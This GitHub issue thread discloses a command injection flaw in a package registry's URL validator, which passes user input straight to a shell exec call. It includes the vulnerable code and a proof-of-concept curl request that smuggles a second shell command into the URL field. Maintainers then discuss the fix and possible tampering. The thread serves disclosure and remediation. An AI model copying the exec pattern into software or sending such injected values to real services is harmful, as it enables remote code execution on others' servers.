Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote code execution - Major security vulnerability #87

Closed
alexanderGugel opened this issue Aug 7, 2014 · 7 comments
Closed

Remote code execution - Major security vulnerability #87

alexanderGugel opened this issue Aug 7, 2014 · 7 comments

Comments

@alexanderGugel
Copy link

lib/validURL.js

module.exports = function(url, cb) {
    var exec = require('child_process').exec;

    exec('git ls-remote ' +  url).on('exit', function(exitCode) {
        cb(exitCode === 0);
    });
};

is a HUGE security vulnerability! It can be easily exploited and ANY package can be inserted. Malicious code can be executed.

Proof of concept

curl http://bower.herokuapp.com/packages -v -F 'name=proofofconcept' -F 'url=git://github.com/jquery/jquery.git; touch "alexanderGugel-sorry-proof-of-concept"'

creates a new file (but can execute ANYTHING). Since touch is the last command being executed, the URL seems to be valid and the package is being inserted properly.

To check if package has be registered:

http://bower.herokuapp.com/packages contains {"name":"proofofconcept","url":"git://github.com/jquery/jquery.git; touch \"alexanderGugel\"","hits":0}

Please correct me if I'm wrong, but this seems to be a big risk, since you could manipulate the registry etc.

@sheerun
Copy link
Contributor

sheerun commented Aug 7, 2014

Thanks. It seems like serious vulnerability. It's only sad you didn't ping us privately. I'll try deploy a fix.

@alexanderGugel
Copy link
Author

Sorry. I agree. I should have done that.

@rayshan
Copy link
Member

rayshan commented Aug 7, 2014

Thanks @alexanderGugel and @sheerun. Let me know if I can help.

This is my biggest fear as I'm about to write a user management back-end, and why npm spend $$$ on a security audit.

@sheerun sheerun reopened this Aug 7, 2014
@sheerun
Copy link
Contributor

sheerun commented Aug 7, 2014

Fix is already deployed. I guess we can't know whether registry has been tampered before?

We need steps to prevent such things in the future.

@benschwarz
Copy link
Member

It was dumb code that shouldn't have been deployed. More through / any review would've caught this—

@rayshan
Copy link
Member

rayshan commented Aug 7, 2014

Heroku protected us with its file system: https://devcenter.heroku.com/articles/dynos#ephemeral-filesystem

I'm getting ready for some db work so I have a fresh db dump if we need to revert. I did a spot check on the top packages and row counts. They look fine. Unfortunately we don't have timestamps until we migrate to a new packages table.

I think we're ok.

@rayshan
Copy link
Member

rayshan commented Aug 9, 2014

Deleted 'proofofconcept'.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

4 participants